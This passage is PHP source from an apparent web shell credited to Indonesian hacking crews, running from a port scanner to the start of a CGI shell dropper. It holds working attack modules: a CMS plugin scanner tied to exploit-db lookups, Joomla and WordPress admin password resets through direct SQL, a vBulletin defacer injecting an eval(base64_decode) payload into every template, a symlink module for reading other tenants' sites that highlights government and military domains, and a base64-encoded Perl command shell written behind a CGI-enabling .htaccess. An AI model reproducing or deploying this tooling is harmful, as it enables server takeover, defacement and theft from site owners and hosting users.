  1815. echo 'Port '.$i.' is <font color=green>open</font><br>';
  1816. }
  1817. flush();
  1818. }
  1819. }else{
  1820. echo '
  1821. <input type="hidden" name="y" value="phptools">
  1822. Host:<br />
  1823. <input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br />
  1824. Port start:<br />
  1825. <input type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br />
  1826. Port end:<br />
  1827. <input type="text" style="color:#FF0000;background-color:#000000" name="end" value="5000"/><br />
  1828. <input type="submit" style="color:#FF0000" value="Scan Ports" />
  1829. </form></center>';
  1830. }
  1831. }
  1832. elseif(isset($_GET['x']) && ($_GET['x'] == 'cms-scanner'))
  1833. {
  1834. ?>
  1835. <form action="?y=<?php echo $pwd; ?>&amp;x=cms-scanner" method="post">
  1836. <?php
  1837. function ask_exploit_db($component){
  1838. $exploitdb ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
  1839. $result = @file_get_contents($exploitdb);
  1840. if (eregi("No results",$result)) {
  1841. echo"<td>Not Found</td><td><a href='http://www.google.com/search?hl=en&q=download+$component'>Download</a></td></tr>";
  1842. }else{
  1843. echo"<td><a href='$exploitdb'>Found ..!</a></td><td><--</td></tr>";
  1844. }
  1845. }
  1846. /**************************************************************/
  1847. /* Joomla Conf */
  1848. function get_components($site){
  1849. $source = @file_get_contents($site);
  1850. preg_match_all('{option,(.*?)/}i',$source,$f);
  1851. preg_match_all('{option=(.*?)(&amp;|&|")}i',$source,$f2);
  1852. preg_match_all('{/components/(.*?)/}i',$source,$f3);
  1853. $arz=array_merge($f2[1],$f[1],$f3[1]);
  1854. $coms=array();
  1855. if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1856. foreach(array_unique($arz) as $x){
  1857. $coms[]=$x;
  1858. }
  1859. foreach($coms as $comm){
  1860. echo "<tr><td>$comm</td>";
  1861. ask_exploit_db($comm);
  1862. }
  1863. }
  1864. /**************************************************************/
  1865. /* WP Conf */
  1866. function get_plugins($site){
  1867. $source = @file_get_contents($site);
  1868. preg_match_all("#/plugins/(.*?)/#i", $source, $f);
  1869. $plugins=array_unique($f[1]);
  1870. if(count($plugins)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1871. foreach($plugins as $plugin){
  1872. echo "<tr><td>$plugin</td>";
  1873. ask_exploit_db($plugin);
  1874. }
  1875. }
  1876. /**************************************************************/
  1877. /* Nuke's Conf */
  1878. function get_numod($site){
  1879. $source = @file_get_contents($site);
  1880. preg_match_all('{?name=(.*?)/}i',$source,$f);
  1881. preg_match_all('{?name=(.*?)(&amp;|&|l_op=")}i',$source,$f2);
  1882. preg_match_all('{/modules/(.*?)/}i',$source,$f3);
  1883. $arz=array_merge($f2[1],$f[1],$f3[1]);
  1884. $coms=array();
  1885. if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1886. foreach(array_unique($arz) as $x){
  1887. $coms[]=$x;
  1888. }
  1889. foreach($coms as $nmod){
  1890. echo "<tr><td>$nmod</td>";
  1891. ask_exploit_db($nmod);
  1892. }
  1893. }
  1894. /*****************************************************/
  1895. /* Xoops Conf */
  1896. function get_xoomod($site){
  1897. $source = @file_get_contents($site);
  1898. preg_match_all('{/modules/(.*?)/}i',$source,$f);
  1899. $arz=array_merge($f[1]);
  1900. $coms=array();
  1901. if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1902. foreach(array_unique($arz) as $x){
  1903. $coms[]=$x;
  1904. }
  1905. foreach($coms as $xmod){
  1906. echo "<tr><td>$xmod</td>";
  1907. ask_exploit_db($xmod);
  1908. }
  1909. }
  1910. /**************************************************************/
  1911. /* Header */
  1912. function t_header($site){
  1913. echo'<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">';
  1914. echo'
  1915. <tr id="oo">
  1916. <td>Site : <a href="'.$site.'">'.$site.'</a></td>
  1917. <td>Exploit-db</b></td>
  1918. <td>Exploit it !</td>
  1919. </tr>
  1920. ';
  1921. }
  1922. ?>
  1923. <html>
  1924. <body>
  1925. <p align="center">&nbsp;</p>
  1926. <form method="POST" action="">
  1927. <p align="center">
  1928. <font size="4"><br></font></p>
  1929. <p align="center">Site :
  1930. <input type="text" name="site" size="33" style="color:#FF0000;background-color:#000000" value="http://www.site.com/"><select style="color:#FF0000;background-color:#000000" size="1" name="what">
  1931. <option>Wordpress</option>
  1932. <option>Joomla</option>
  1933. <option>Nuke's</option>
  1934. <option>Xoops</option>
  1935. </select><input style="color:#FF0000;background-color:#000000" type="submit" value="Scan"></p>
  1936. </form>
  1937. <?
  1938. // Start Scan :P :P ...
  1939. if($_POST){
  1940. $site=strip_tags(trim($_POST['site']));
  1941. t_header($site);
  1942. echo $x01 = ($_POST['what']=="Wordpress") ? get_plugins($site):"";
  1943. echo $x02 = ($_POST['what']=="Joomla") ? get_components($site):"";
  1944. echo $x03 = ($_POST['what']=="Nuke's") ? get_numod($site):"";
  1945. echo $x04 = ($_POST['what']=="Xoops") ? get_xoomod($site):"";
  1946. echo '</table></body></html>';
  1947. }
  1948. }
  1949. elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
  1950. {
  1951. ?>
  1952. <form action="?y=<?php echo $pwd; ?>&amp;x=jm-reset" method="post">
  1953. <?php
  1954. @error_reporting(0);
  1955. @ini_set('error_log',NULL);
  1956. echo '
  1957. <div class="com">
  1958. <form method="post">
  1959. <center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
  1960. <br />
  1961. <tr>
  1962. <td>Host :</td>
  1963. <td><input type="text" style="color:#00ffff;background-color:#000000" name="host" value="localhost" /></td>
  1964. </tr>
  1965. <tr>
  1966. <td>user :</td>
  1967. <td><input type="text" style="color:#00ffff;background-color:#000000" name="user" /></td>
  1968. </tr>
  1969. <tr>
  1970. <td>Pass :</td><td><input style="color:#00ffff;background-color:#000000" type="text" name="pass"/></td>
  1971. </tr>
  1972. <tr>
  1973. <td>db :</td>
  1974. <td><input type="text" style="color:#00ffff;background-color:#000000" name="db" /></td>
  1975. </tr>
  1976. <tr>
  1977. <td>dbprefix :</td>
  1978. <td><input type="text" style="color:#00ffff;background-color:#000000" name="jop" value="jos_users" /></td>
  1979. </tr>
  1980. <tr>
  1981. <td>Admin User :</td>
  1982. <td><input type="text" style="color:#00ffff;background-color:#000000" name="users" value="admin" /></td>
  1983. </tr>
  1984. <tr>
  1985. <td>Admin Password :</td>
  1986. <td><input type="text" style="color:#00ffff;background-color:#000000" name="passwd" value="admin" /></td>
  1987. </tr>
  1988. <tr>
  1989. <td colspan="6" align="center" style="color:#00ffff;background-color:#000000" width="70%"> <input type="submit" value="Change" style="color:#00ffff;background-color:#000000" maxlength="30" /> <input type="reset" value="clear" style="color:#00ffff;background-color:#000000" maxlength="30" /> </td>
  1990. </tr>
  1991. </table>
  1992. </form> </div></center>';
  1993. $host = $_POST['host'];
  1994. $user = $_POST['user'];
  1995. $pass = $_POST['pass'];
  1996. $db = $_POST['db'];
  1997. $jop = $_POST['jop'];
  1998. $users = $_POST['users'];
  1999. $admpas = $_POST['passwd'];
  2000. if(isset($host) ) {
  2001. $con = @ mysql_connect($host,$user,$pass) or die ;
  2002. $sedb = @ mysql_select_db($db) or die;
  2003. $query= @ mysql_query("UPDATE $jop SET username ='".$users."' WHERE usertype = Super Administrator") or die;
  2004. $query= @ mysql_query("UPDATE $jop SET password ='".$admpas."' WHERE usertype = Super Administrator") or die;
  2005. if ($query)
  2006. {
  2007. echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
  2008. }
  2009. else if (!$query)
  2010. {
  2011. echo "error";
  2012. }
  2013. }else
  2014. {
  2015. echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
  2016. }
  2017. }
  2018. elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
  2019. {
  2020. ?>
  2021. <form action="?y=<?php echo $pwd; ?>&amp;x=wp-reset" method="post">
  2022. <?php
  2023. @error_reporting(0);
  2024. @ini_set('error_log',NULL);
  2025. echo '
  2026. <div class="com">
  2027. <form method="post">
  2028. <center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
  2029. <br />
  2030. <tr>
  2031. <td>Host :</td>
  2032. <td><input type="text" name="host" style="color:#00ffff;background-color:#000000" value="localhost" /></td>
  2033. </tr>
  2034. <tr>
  2035. <td>user :</td>
  2036. <td><input type="text" style="color:#00ffff;background-color:#000000" name="user" /></td>
  2037. </tr>
  2038. <tr>
  2039. <td>Pass :</td><td><input type="text" style="color:#00ffff;background-color:#000000" name="pass"/></td>
  2040. </tr>
  2041. <tr>
  2042. <td>db :</td>
  2043. <td><input type="text" style="color:#00ffff;background-color:#000000" name="db" /></td>
  2044. </tr>
  2045. <tr>
  2046. <td>user admin :</td>
  2047. <td><input type="text" style="color:#00ffff;background-color:#000000" name="useradmin" value="admin" /></td>
  2048. </tr>
  2049. <tr>
  2050. <td>pass admin :</td>
  2051. <td><input type="text" style="color:#00ffff;background-color:#000000" name="passadmin" value="admin"/></td>
  2052. </tr>
  2053. <tr>
  2054. <td colspan="6" align="center" width="70%"> <input type="submit" style="color:#00ffff;background-color:#000000" value="Change" maxlength="30" /> <input type="reset" value="clear" style="color:#00ffff;background-color:#000000" maxlength="30" /> </td>
  2055. </tr>
  2056. </table>
  2057. </form> </div></center>';
  2058. $host = $_POST['host'];
  2059. $user = $_POST['user'];
  2060. $pass = $_POST['pass'];
  2061. $db = $_POST['db'];
  2062. $useradmin = $_POST['useradmin'];
  2063. $pass_ad = $_POST['passadmin'];
  2064. if(isset($host) ) {
  2065. $con [email protected] mysql_connect($host,$user,$pass) or die ;
  2066. $sedb [email protected] mysql_select_db($db) or die;
  2067. $crypt = crypt($pass_ad);
  2068. $query [email protected]mysql_query("UPDATE `wp_users` SET `user_login` ='".$useradmin."' WHERE ID = 1") or die('Cant Update ID Number 1');
  2069. $query [email protected]mysql_query("UPDATE `wp_users` SET `user_pass` ='".$crypt."' WHERE ID = 1") or die('Cant Update ID Number 1');
  2070. if ($query)
  2071. {
  2072. echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
  2073. }
  2074. else if (!$query)
  2075. {
  2076. echo "error";
  2077. }
  2078. }else
  2079. {
  2080. echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
  2081. }
  2082. }
  2083. elseif(isset($_GET['x']) && ($_GET['x'] == 'web-info'))
  2084. {
  2085. ?>
  2086. <form action="?y=<?php echo $pwd; ?>&amp;x=web-info" method="post">
  2087. <?php
  2088. @set_time_limit(0);
  2089. @error_reporting(0);
  2090. function sws_domain_info($site)
  2091. {
  2092. $getip = @file_get_contents("http://networktools.nl/whois/$site");
  2093. flush();
  2094. $ip = @findit($getip,'<pre>','</pre>');
  2095. return $ip;
  2096. flush();
  2097. }
  2098. function sws_net_info($site)
  2099. {
  2100. $getip = @file_get_contents("http://networktools.nl/asinfo/$site");
  2101. $ip = @findit($getip,'<pre>','</pre>');
  2102. return $ip;
  2103. flush();
  2104. }
  2105. function sws_site_ser($site)
  2106. {
  2107. $getip = @file_get_contents("http://networktools.nl/reverseip/$site");
  2108. $ip = @findit($getip,'<pre>','</pre>');
  2109. return $ip;
  2110. flush();
  2111. }
  2112. function sws_sup_dom($site)
  2113. {
  2114. $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
  2115. $ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
  2116. return $ip;
  2117. flush();
  2118. }
  2119. function sws_port_scan($ip)
  2120. {
  2121. $list_post = array('80','21','22','2082','25','53','110','443','143');
  2122. foreach ($list_post as $o_port)
  2123. {
  2124. $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
  2125. if($connect)
  2126. {
  2127. echo " $ip : $o_port &nbsp;&nbsp;&nbsp; <u style=\"color: #009900\">Open</u> <br /><br />";
  2128. flush();
  2129. }
  2130. }
  2131. }
  2132. function findit($mytext,$starttag,$endtag) {
  2133. $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
  2134. $posRight = @stripos($mytext,$endtag,$posLeft+1);
  2135. return @substr($mytext,$posLeft,$posRight-$posLeft);
  2136. flush();
  2137. }
  2138. echo '<br><br><center>';
  2139. echo '
  2140. <br />
  2141. <div class="sc"><form method="post">
  2142. Site to scan : <input type="text" name="site" size="30" style="color:#FF0000;background-color:#000000" value="site.com" /> &nbsp;&nbsp <input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" />
  2143. </form></div>';
  2144. if(isset($_POST['scan']))
  2145. {
  2146. $site = @htmlentities($_POST['site']);
  2147. if (empty($site)){die('<br /><br /> Not add IP .. !');}
  2148. $ip_port = @gethostbyname($site);
  2149. echo "
  2150. <br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
  2151. <div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
  2152. <div class=\"ru\"> <br /><br /><pre>
  2153. ";
  2154. echo "".sws_port_scan($ip_port)." </pre></div> ";
  2155. flush();
  2156. echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
  2157. <div class=\"ru\">
  2158. <pre>".sws_domain_info($site)."</pre></div>";
  2159. flush();
  2160. echo "
  2161. <div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
  2162. <div class=\"ru\">
  2163. <pre>".sws_net_info($site)."</pre> </div>";
  2164. flush();
  2165. echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
  2166. <div class=\"ru\">
  2167. <pre>".sws_sup_dom($site)."</pre> </div>";
  2168. flush();
  2169. echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
  2170. <div class=\"ru\">
  2171. <pre>".sws_site_ser($site)."</pre> </div>
  2172. <div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
  2173. flush();
  2174. }
  2175. echo '</center>';
  2176. }
  2177. elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
  2178. {
  2179. ?>
  2180. <form action="?y=<?php echo $pwd; ?>&amp;x=vb" method="post">
  2181. <br><br><br><div align="center">
  2182. <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
  2183. <font color="#00FF00">&nbsp;vB Index Changer</font><font color="#FF0000">
  2184. <font face="Tahoma">! Change All Pages For Forum !&nbsp;
  2185. <br></font></div><br>
  2186. <?
  2187. if(empty($_POST['index'])){
  2188. echo "<center><FORM method=\"POST\">
  2189. host : <INPUT size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\">
  2190. database : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"database\" type=\"text\"><br>
  2191. username : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"username\" type=\"text\">
  2192. password : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"vb\" name=\"password\" type=\"text\"><br>
  2193. <br>
  2194. <textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br>
  2195. <INPUT value=\"Set\" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
  2196. </FORM></center>";
  2197. }else{
  2198. $localhost = $_POST['localhost'];
  2199. $database = $_POST['database'];
  2200. $username = $_POST['username'];
  2201. $password = $_POST['password'];
  2202. $index = $_POST['index'];
  2203. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2204. @mysql_select_db($database) or die(mysql_error());
  2205. $index=str_replace("\'","'",$index);
  2206. $set_index = "{\${eval(base64_decode(\'";
  2207. $set_index .= base64_encode("echo \"$index\";");
  2208. $set_index .= "\'))}}{\${exit()}}</textarea>";
  2209. echo("UPDATE template SET template ='".$set_index."' ") ;
  2210. [email protected]_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
  2211. if($ok){
  2212. echo "!! update finish !!<br><br>";
  2213. }
  2214. }
  2215. # Footer
  2216. }
  2217. elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
  2218. {
  2219. ?>
  2220. <form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">
  2221. <?php
  2222. @set_time_limit(0);
  2223. echo "<center>";
  2224. @mkdir('sym',0777);
  2225. $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2226. $write [email protected] ('sym/.htaccess','w');
  2227. fwrite($write ,$htaccess);
  2228. @symlink('/','sym/root');
  2229. $filelocation = basename(__FILE__);
  2230. $read_named_conf = @file('/etc/named.conf');
  2231. if(!$read_named_conf)
  2232. {
  2233. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  2234. }
  2235. else
  2236. {
  2237. echo "<br><br><div class='tmp'><table border='1' bordercolor='#ff0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
  2238. foreach($read_named_conf as $subject){
  2239. if(eregi('zone',$subject)){
  2240. preg_match_all('#zone "(.*)"#',$subject,$string);
  2241. flush();
  2242. if(strlen(trim($string[1][0])) >2){
  2243. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  2244. $name = $UID['name'] ;
  2245. @symlink('/','sym/root');
  2246. $name = $string[1][0];
  2247. $iran = '\.ir';
  2248. $israel = '\.il';
  2249. $indo = '\.id';
  2250. $sg12 = '\.sg';
  2251. $edu = '\.edu';
  2252. $gov = '\.gov';
  2253. $gose = '\.go';
  2254. $gober = '\.gob';
  2255. $mil1 = '\.mil';
  2256. $mil2 = '\.mi';
  2257. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  2258. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
  2259. {
  2260. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  2261. }
  2262. echo "
  2263. <tr>
  2264. <td>
  2265. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
  2266. </td>
  2267. <td>
  2268. '.$UID['name']."
  2269. </td>
  2270. <td>
  2271. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
  2272. </td>
  2273. </tr></div> ";
  2274. flush();
  2275. }
  2276. }
  2277. }
  2278. }
  2279. echo "</center></table>";
  2280. }
  2281. elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
  2282. {
  2283. ?>
  2284. <form action="?y=<?php echo $pwd; ?>&amp;x=About" method="post">
  2285. <center><br><br><font size=2> <img src="http://acehtenggarakab.go.id/wp-content/uploads/v3.png" width="319" height="119" border="0"> <br> <br>
  2286. <font color=#ff9933 font size=4> Special Thanks To :</font>
  2287. <br><br><div align=center><font color=#ff9933 font size=5><marquee behavior="scroll" direction="left" scrollamount="2" scrolldelay="0.1" width="70%"><span class="footerlink">|Bagsfreakz| |Doza Cracker| |Rhie_Bj| |Rio Permana| |Angel Dot ID| |Derry| |G4L03_05| |S.A.Z BadboY| |Juna HKC| |Teguh HKC| |Miss QQ| |Uyap| |X'Inject| |Unknown_R| |KraVcux PiRantes| |Ksatria Us| |Dicky Cyber| |Billy Cyber|
  2288. |Hacker Kocan Community| |Aceh Cyber Team| |Surabaya Blackhat| |CBF Team| |Indonesian Fighter Cyber| |Blackshadow| |Indonesian Security Down| |Borneo Attacker| |Biang Kerox Hacker Team|
  2289. |Team Danger Hackers| |Spider Defacer Team| |Zone-Injector| | |Devilz Code| |X Code| |All Indonesian Coder| |All Indonesian Hacker|</span></marquee><br></font><br><br></div><div align=center><font color=#ff9933 font size=4>--==[[ We Are The HKC ]]==--</font>
  2290. <?php
  2291. }
  2292. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgishell'))
  2293. {
  2294. ?>
  2295. <form action="?y=<?php echo $pwd; ?>&amp;x=cgishell" method="post">
  2296. <?php
  2297. echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
  2298. mkdir('cgitelnet1', 0755);
  2299. chdir('cgitelnet1');
  2300. $kokdosya = ".htaccess";
  2301. $dosya_adi = "$kokdosya";
  2302. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  2303. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  2304. AddType application/x-httpd-cgi .cin
  2305. AddHandler cgi-script .cin
  2306. AddHandler cgi-script .cin";
  2307. fwrite ( $dosya , $metin ) ;
  2308. fclose ($dosya);
  2309. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIG